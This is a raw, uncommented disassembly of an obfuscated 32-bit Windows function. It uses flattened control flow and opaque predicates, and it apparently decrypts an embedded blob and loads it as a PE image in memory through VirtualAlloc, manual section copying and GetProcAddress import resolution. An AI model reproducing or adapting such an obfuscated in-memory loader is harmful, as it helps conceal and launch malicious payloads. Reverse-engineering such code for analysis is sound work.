mov dword [ecx], eax
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x4b0fe3cb
jmp 0x404d19
cmp eax, 0x195ec03f
je 0x404832
cmp eax, 0x19a8db44
jne 0x401500
cmp byte [ebp - 0x6f], 0
mov eax, 0x7e6f1edb
mov ecx, 0x48af47b0
cmovne eax, ecx
jmp 0x401500
cmp eax, 0xc920c7c4
je 0x40483c
cmp eax, 0xce0a64fa
jne 0x401500
mov eax, 0x879a4fe
jmp 0x401500
cmp eax, 0x6af5b888
je 0x40485f
cmp eax, 0x6b7762d7
jne 0x401500
mov eax, dword [ebp - 0x1a8]
mov ecx, 0x388f61ce
cmp eax, 0xc
mov eax, 0x604a10c7
cmove eax, ecx
jmp 0x401500
cmp eax, 0xa879dbfc
je 0x404883
cmp eax, 0xaa984d4e
jne 0x401500
mov eax, 0x32ba3be4
jmp 0x401500
cmp eax, 0x33248444
je 0x404896
cmp eax, 0x3364458d
jne 0x401500
mov eax, 0xeded234c
jmp 0x401500
cmp eax, 0xf2f04da5
je 0x4048d7
cmp eax, 0xf2f54fb6
jne 0x401500
movzx eax, word [ebp - 0xaa]
mov eax, 0xa185393e
jmp 0x401500
cmp eax, 0x5ea10e9a
je 0x4048e4
cmp eax, 0x5ed76f94
jne 0x401500
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov ecx, eax
xor ecx, 0xffff0000
and ecx, eax
mov eax, dword [ebp - 0x64]
push ecx
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov eax, dword [ebp - 0x38]
mov eax, 0x6c52e7d4
jmp 0x401500
cmp eax, 0x9c7739a8
je 0x4048fa
cmp eax, 0x9cfc5ed5
jne 0x401500
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov eax, 0x9217c0df
jmp 0x401500
cmp eax, 0x24d2d926
je 0x404915
cmp eax, 0x250da0a7
jne 0x401500
cmp byte [ebp - 0x74], 0
mov eax, 0x29bd3e4
mov ecx, 0xfbb5e26f
cmovne eax, ecx
jmp 0x401500
cmp eax, 0xe3983ce0
je 0x404930
cmp eax, 0xe4cbfbf9
jne 0x401500
mov eax, dword [ebp - 0x20]
mov eax, 0x1e4eb195
jmp 0x401500
cmp eax, 0x76dcd1c6
je 0x40493a
cmp eax, 0x789ee638
jne 0x401500
mov eax, dword [ebp - 0xb8]
mov eax, 0x38edb138
jmp 0x401500
cmp eax, 0xb9ee01e2
je 0x40495c
cmp eax, 0xb9f02030
jne 0x401500
mov eax, dword [ebp - 0x3c]
mov esi, 0x273df832
mov dword [eax], 4
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
jmp 0x404701
cmp eax, 0x4104fe67
je 0x40496f
cmp eax, 0x418b6d5c
jne 0x401500
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, 0x4459d8bc
jmp 0x4032a2
cmp eax, 0x6d9d36b
je 0x4049bc
cmp eax, 0x879a4fe
jne 0x401500
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x1bc], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 8]
mov dword [ebp - 0x1c0], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x1c4], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8]
mov dword [ebp - 0x1c8], eax
mov eax, 0xfd3fc65
jmp 0x401500
cmp eax, 0x4d7f6a25
je 0x4049e6
cmp eax, 0x4e2f50d0
jne 0x401500
mov eax, 0x3dd66164
jmp 0x401500
cmp eax, 0x8264747b
je 0x404a37
cmp eax, 0x82a39dd6
jne 0x401500
mov eax, 0x7e6f1edb
jmp 0x401500
cmp eax, 0x11fbf0db
je 0x4014c0
cmp eax, 0x1202fa09
jne 0x401500
mov eax, 0x37b683ed
jmp 0x401500
cmp eax, 0xc10cd7e1
je 0x404a68
cmp eax, 0xc4cb50d9
jne 0x401500
mov eax, dword [ebp - 0x68]
mov eax, 0xd41d64cb
jmp 0x401500
cmp eax, 0x698de3fe
je 0x404a8f
cmp eax, 0x6995afbd
jne 0x401500
mov eax, dword [0x4b3418]
mov edi, 0x3349721
mov esi, 0xce105e07
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xce105e07
jmp 0x4014e1
cmp eax, 0xa4bcf651
je 0x404ad2
cmp eax, 0xa5879d40
jne 0x401500
mov eax, 0xf0c35e39
jmp 0x401500
cmp eax, 0x3168f94c
je 0x404aef
cmp eax, 0x31e2c101
jne 0x401500
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov eax, 0x4beb09d2
jmp 0x401500
cmp eax, 0xee8c3e7d
je 0x404b19
cmp eax, 0xef791834
jne 0x401500
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x1cc]
vmovsd xmm0, qword [eax]
mov eax, 0xacfda34a
vmovsd qword [ecx], xmm0
jmp 0x401500
cmp eax, 0x5904ba25
je 0x404b82
cmp eax, 0x59a75edb
jne 0x401500
mov eax, 0xc920c7c4
jmp 0x401500
cmp eax, 0x974e56b2
je 0x404b9d
cmp eax, 0x980fcfb0
jne 0x401500
mov eax, dword [0x4b3418]
mov esi, 0x15e73df3
mov edi, 0xd05b8525
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xd05b8525
jmp 0x404fd2
cmp eax, 0x20765fed
je 0x404bd0
cmp eax, 0x20770a1f
jne 0x401500
mov eax, 0x38c4f1a5
jmp 0x401500
cmp eax, 0xd86ce6ba
je 0x404cc2
cmp eax, 0xd95446ff
jne 0x401500
mov eax, dword [ebp - 0x54]
mov dword [eax], 0
mov eax, 0xad6d154d
jmp 0x401500
cmp eax, 0x7584906d
je 0x404ce1
cmp eax, 0x758da637
jne 0x401500
mov eax, 0x8d5d3137
jmp 0x401500
cmp eax, 0xb41a7d32
je 0x404ceb
cmp eax, 0xb4284ade
jne 0x401500
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov dword [ebp - 0xf4], eax
mov eax, 0x24d2d926
jmp 0x401500
cmp eax, 0x3cb07e30
je 0x404d31
cmp eax, 0x3d75290c
jne 0x401500
mov eax, dword [ebp - 0x50]
mov eax, 0x789ee638
jmp 0x401500
cmp eax, 0x4939bda
je 0x404d47
cmp eax, 0x4c3c6b1
jne 0x401500
mov eax, dword [ebp - 0xd4]
mov esi, 0xd64e9934
mov edi, 0xdbe4ca5b
not eax
or eax, 0xfffffffc
cmp eax, 0xffffffff
mov eax, dword [0x4b3418]
setne byte [ebp - 0x72]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xdbe4ca5b
jmp 0x40478d
cmp eax, 0x5492109e
je 0x404d51
cmp eax, 0x549e7b4b
jne 0x401500
movzx ecx, byte [ebp - 0x69]
movzx eax, byte [ebp - 0x6a]
mov esi, 0xeb23c6a0
mov edi, 0x11464a1d
mov edx, ecx
xor dl, al
test al, al
mov eax, 0x11464a1d
cmovne eax, esi
test cl, cl
cmove eax, edi
test dl, dl
cmovne eax, esi
jmp 0x401500
cmp eax, 0x8d5d3137
je 0x404d67
cmp eax, 0x8fd6294e
jne 0x401500
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb0]
mov eax, 0xeded234c
jmp 0x401500
cmp eax, 0x1b4fcdb5
je 0x404daa
cmp eax, 0x1c356ce1
jne 0x401500
mov eax, 0xbbf3f166
jmp 0x401500
cmp eax, 0xd0ff0e08
je 0x404e04
cmp eax, 0xd298a93c
jne 0x401500
mov eax, 0x19cfca1d
jmp 0x401500
cmp eax, 0x6dfe72fb
je 0x404e1d
cmp eax, 0x6f2f6f5d
jne 0x401500
mov eax, dword [ebp - 0x84]
mov eax, 0x44b9897f
jmp 0x401500
cmp eax, 0xaca5980f
je 0x404e27
cmp eax, 0xacfda34a
jne 0x401500
mov eax, dword [ebp - 0xc4]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0xc8]
mov dword [eax], 0
mov eax, dword [ebp - 0x1c]
mov dword [eax], 1
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0xd0]
mov eax, 0x8fd6294e
jmp 0x401500
cmp eax, 0x37b683ed
je 0x404e8c
cmp eax, 0x388f61ce
jne 0x401500
mov eax, dword [0x4b3418]
mov edi, 0x1c932c02
mov esi, 0x4d4ae8cd
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x4d4ae8cd
jmp 0x4014e1
cmp eax, 0xf7794850
je 0x404e96
cmp eax, 0xf9bee58b
jne 0x401500
mov eax, 0x3a260ca7
jmp 0x401500
cmp eax, 0x6168ab0f
je 0x404ea0
cmp eax, 0x62bbb934
jne 0x401500
mov eax, 0xe67b4d1f
jmp 0x401500
cmp eax, 0xa04d2d97
je 0x404ec9
cmp eax, 0xa1494c13
jne 0x401500
mov eax, 0x2b6f522d
jmp 0x401500
cmp eax, 0x27681b0d
je 0x404ede
cmp eax, 0x282b20ed
jne 0x401500
mov eax, 0x2b6f522d
jmp 0x401500
cmp eax, 0xe6a9e04f
je 0x404f0d
cmp eax, 0xe893ab2c
jne 0x401500
cmp dword [ebp - 0x1b0], 0
mov eax, 0x7513b5b3
mov ecx, 0xb21939da
cmove eax, ecx
jmp 0x401500
cmp eax, 0x7c3c64e8
je 0x404f32
cmp eax, 0x7d8212de
jne 0x401500
mov eax, 0xc0e1b85e
jmp 0x401500
cmp eax, 0xbbb3dc5d
je 0x404f42
cmp eax, 0xbbf3f166
jne 0x401500
mov edx, dword [0x4b3418]
mov ecx, dword [0x4b3414]
mov esi, 0xad6b122b
mov edi, 0x7d9d0f17
jmp 0x404d7d
cmp eax, 0x46dcdb33
je 0x404f55
cmp eax, 0x48af47b0
jne 0x401500
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x158], eax
mov eax, 0xc0f7e077
jmp 0x401500
cmp eax, 0xab87282
je 0x404f6d
cmp eax, 0xac0a163
jne 0x401500
mov eax, 0x94f5fa3e
jmp 0x401500
cmp eax, 0x4b0fe3cb
je 0x404f77
cmp eax, 0x4beb09d2
jne 0x401500
mov eax, dword [ebp - 0x1c]
mov edi, 0xbc01a53c
mov esi, 0x31e2c101
mov dword [eax], 0
mov eax, dword [0x4b3418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x31e2c101
jmp 0x4014e1
cmp eax, 0x81a16073
je 0x404f8f
cmp eax, 0x81b67f66
jne 0x401500
cmp dword [ebp - 0x11c], 0
mov eax, dword [0x4b3418]
mov esi, 0xef8ec295
mov edi, 0x69dda83b
lea ecx, [eax + 1]
setne byte [ebp - 0x78]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x69dda83b
jmp 0x404fd2
cmp eax, 0x11464a1d
je 0x404fa7
cmp eax, 0x11cbf090
jne 0x401500
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0xe8]
mov eax, 0x4d7f6a25
jmp 0x401500
cmp eax, 0xc0e1b85e
je 0x404fb1
cmp eax, 0xc0f7e077
jne 0x401500
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x154]
sub ecx, dword [eax + 0x1c]
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov eax, 0x436d852e
jmp 0x401500
cmp eax, 0x68e138d9
je 0x404ff1
cmp eax, 0x691266dd
jne 0x401500
mov eax, 0x879a4fe
jmp 0x401500
cmp eax, 0xa41e0fea
je 0x405004
cmp eax, 0xa4af77eb
jne 0x401500
mov eax, dword [ebp - 0x1c]
mov dword [eax], 2
mov eax, 0xbce62628
jmp 0x401500
cmp eax, 0x30e8d382
je 0x40501a
cmp eax, 0x3109e73e
jne 0x401500
mov eax, 0x132a258b
jmp 0x401500
cmp eax, 0xed4fa973
je 0x405040
cmp eax, 0xeded234c
jne 0x401500
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x1d0], eax
mov eax, 0x11fbf0db
jmp 0x401500
cmp eax, 0x573f9509
je 0x40504a
cmp eax, 0x58d60d06
jne 0x401500
cmp byte [ebp - 0x6c], 0
mov eax, 0x698de3fe
mov ecx, 0xa149ea02
cmovne eax, ecx
jmp 0x401500
cmp eax, 0x94a262d1
je 0x40507f
cmp eax, 0x94f5fa3e
jne 0x401500
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x20]
inc eax
mov dword [ecx], eax
mov eax, 0xd49e667e
jmp 0x401500
cmp eax, 0x1e4eb195
je 0x40509a
cmp eax, 0x1f3e51fc
jne 0x401500
mov eax, dword [0x4b3418]
mov edi, 0x9341e925
mov esi, 0x6dfe72fb
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x6dfe72fb
jmp 0x4014e1
cmp eax, 0xd75245f1
je 0x4050e8
cmp eax, 0xd81806b7
jne 0x401500
mov eax, dword [ebp - 0x44]
mov edi, 0x7584906d
mov esi, 0x8feaffac
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa4]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
mov eax, dword [0x4b3418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x8feaffac
jmp 0x4014e1
cmp byte [ebp - 0x6e], 0
mov eax, 0x4acb4967
mov ecx, 0x4d31310d
cmovne eax, ecx
jmp 0x401500
mov eax, dword [0x4b3418]
mov edi, 0x7321cc9a
mov esi, 0xbda172b9
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xbda172b9
jmp 0x404a1a
mov eax, dword [ebp - 0x3c]
mov esi, 0x1695d2d3
mov dword [eax], 2
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xa879dbfc
jmp 0x404d19
mov edx, dword [0x4b3418]
mov ecx, dword [0x4b3414]
mov esi, 0x11cbf090
mov edi, 0x4d7f6a25
jmp 0x404d7d
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
mov eax, 0x4c000
call fcn.0043bcf0
mov eax, esp
mov dword [ebp - 0x80], eax
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0x14], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xb0], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xb4], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x18], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0x8c], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
push eax
mov eax, esp
mov dword [ebp - 0x84], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
push eax
mov eax, esp
mov dword [ebp - 0x90], eax
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
push eax
mov eax, esp
mov dword [ebp - 0x68], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0x94], eax
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x88], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x40]
mov dword [eax], ecx
mov eax, dword [ebp - 0x80]
push 0x4c000
push 0x45a230
push dword [ebp - 0x80]
vzeroupper
call fcn.0043eb90
add esp, 0xc
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0xe0], eax
mov eax, 0x69a9b56e
jmp 0x401500
mov eax, 0x9b75416c
jmp 0x401500
mov eax, 0xe0d31fed
jmp 0x401500
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x10
mov eax, dword [ebp - 0x2c]
mov eax, 0x87da4d6
jmp 0x401500
mov eax, 0xa1494c13
jmp 0x401500
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xc
mov eax, 0x3b807f13
jmp 0x401500
mov edx, dword [0x4b3418]
mov ecx, dword [0x4b3414]
mov esi, 0x1b4fcdb5
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xa2579da7
jmp 0x404191
mov eax, dword [0x4b3418]
mov esi, 0x132a258b
mov edi, 0x3109e73e
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x3109e73e
jmp 0x404795
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
mov esi, 0x69dda83b
mov edi, 0x81b67f66
jmp 0x40498d
mov edx, dword [0x4b3418]
mov ecx, dword [0x4b3414]
mov esi, 0xe4cbfbf9
mov edi, 0x1e4eb195
jmp 0x404d7d
mov eax, 0x6995afbd
jmp 0x401500
push 4
push 0x3000
push dword [ebp - 0xe4]
push dword [ebp - 0x120]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c]
mov eax, 0x5cfe5498
jmp 0x401500
mov eax, dword [ebp - 0x34]
mov eax, 0x76862514
jmp 0x401500
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov ecx, eax
xor ecx, 0xffff0000
and ecx, eax
mov eax, dword [ebp - 0x64]
push ecx
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x38]
mov esi, 0x5ed76f94
mov edi, 0x6366df74
mov dword [ecx], eax
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, ecx
mov ecx, esi
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x38]
cmovge ecx, esi
cmp dword [eax], 0
mov eax, ecx
setne byte [ebp - 0x73]
jmp 0x401500
mov eax, 0x8264747b
jmp 0x401500
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xd
mov eax, 0x4104fe67
jmp 0x401500
mov eax, 0xef791834
jmp 0x401500
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xdfffffff
and ecx, eax
mov eax, 0xe893ab2c
mov dword [ebp - 0x1b0], ecx
jmp 0x401500
mov eax, 0x4eeacead
jmp 0x401500
mov eax, dword [ebp - 0x28]
mov edi, 0xb560ac6
mov esi, 0x5661b48d
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x1a4], eax
mov eax, dword [0x4b3418]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x5661b48d
jmp 0x4014e1
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
push dword [eax + ecx*8 + 0x10]
push dword [ebp - 0xf0]
push dword [ebp - 0xec]
vzeroupper
call fcn.0043eb90
add esp, 0xc
mov eax, dword [0x4b3418]
mov edi, 0x1d3d1305
mov esi, 0xffbcfbfc
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xffbcfbfc
jmp 0x404a1a
mov dword [ebp - 0xdc], 0
mov eax, 0x6536792
jmp 0x401500
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x44]
mov esi, 0x36835422
mov edi, 0x648fddd9
mov eax, dword [eax]
mov dword [ebp - 0x1cc], eax
mov eax, dword [0x4b3418]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x648fddd9
jmp 0x404fd2
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
mov esi, 0x250da0a7
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x712e7364
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x118]
cmovge ecx, edx
movzx eax, word [eax + 2]
mov esi, dword [ebp - 0x114]
cmp esi, eax
mov eax, ecx
setl byte [ebp - 0x74]
jmp 0x401500
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x80]
add eax, dword [ebp - 0x188]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [eax], 0
mov eax, 0xea8f34ce
jmp 0x401500
cmp byte [ebp - 0x7a], 0
mov eax, 0xacfda34a
mov ecx, 0x29adef90
cmovne eax, ecx
jmp 0x401500
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x34]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0xc]
mov dword [ebp - 0x104], eax
mov eax, 0x30e8d382
jmp 0x401500
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
mov esi, 0x6c52e7d4
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x5ed76f94
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x38]
jmp 0x404d27
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
mov esi, 0x62bbb934
mov edi, 0xe67b4d1f
jmp 0x40498d
mov eax, 0xc10cd7e1
jmp 0x401500
mov eax, dword [ebp - 0xcc]
mov eax, 0x698de3fe
jmp 0x401500
movzx eax, byte [ebp - 0x79]
mov edx, 0x390b4043
mov ecx, eax
xor cl, 0xfe
test cl, al
mov eax, 0x974e56b2
cmove eax, edx
jmp 0x401500
mov edx, dword [0x4b3418]
mov ecx, dword [0x4b3414]
mov esi, 0xad6d154d
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xd95446ff
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x54]
cmovge eax, edx
jmp 0x401500
mov eax, dword [ebp - 0x30]
cmp dword [eax], 0
mov eax, 0x7954ccf1
sets byte [ebp - 0x75]
jmp 0x401500
mov eax, 0x20765fed
jmp 0x401500
mov eax, dword [ebp - 0x38]
mov esi, 0xab87282
mov edi, 0x1d275207
mov eax, dword [eax]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x110], eax
mov eax, dword [0x4b3418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x1d275207
jmp 0x404fd2
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
mov esi, 0xf542dde2
mov edi, 0x268c5d24
jmp 0x40498d
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
mov esi, 0x4104fe67
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xab9237ec
jmp 0x404d19
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x2c]
mov eax, 0x9cfc5ed5
jmp 0x401500
mov edx, dword [0x4b3418]
mov ecx, dword [0x4b3414]
mov esi, 0xf7794850
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x195ec03f
jmp 0x404191
mov edx, dword [0x4b3418]
mov ecx, dword [0x4b3414]
mov esi, 0x48f7163e
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x3109e73e
jmp 0x404191
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x108]
mov edi, 0xaa984d4e
mov esi, 0xd05b8525
mov dword [eax], ecx
mov eax, dword [0x4b3418]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xd05b8525
jmp 0x4014e1
push 0x4c000
push dword [ebp - 0xe0]
vzeroupper
call fcn.00401410
add esp, 8
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x40]
mov dword [ecx], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, 0xaeb80db1
jmp 0x401500
mov edx, dword [0x4b3418]
mov eax, dword [0x4b3414]
mov esi, 0x4f5589e8
mov edi, 0x573f9509
jmp 0x40498d
mov eax, dword [ebp - 0x128]
mov ecx, 0x3fa42975
cmp dword [eax], 0
mov eax, 0x60295f90
cmove eax, ecx
jmp 0x401500
mov eax, dword [0x4b3418]
mov edi, 0xaeb80db1
mov esi, 0xc5a6bb2b
lea ecx, [eax - 1]
imul ecx, eax
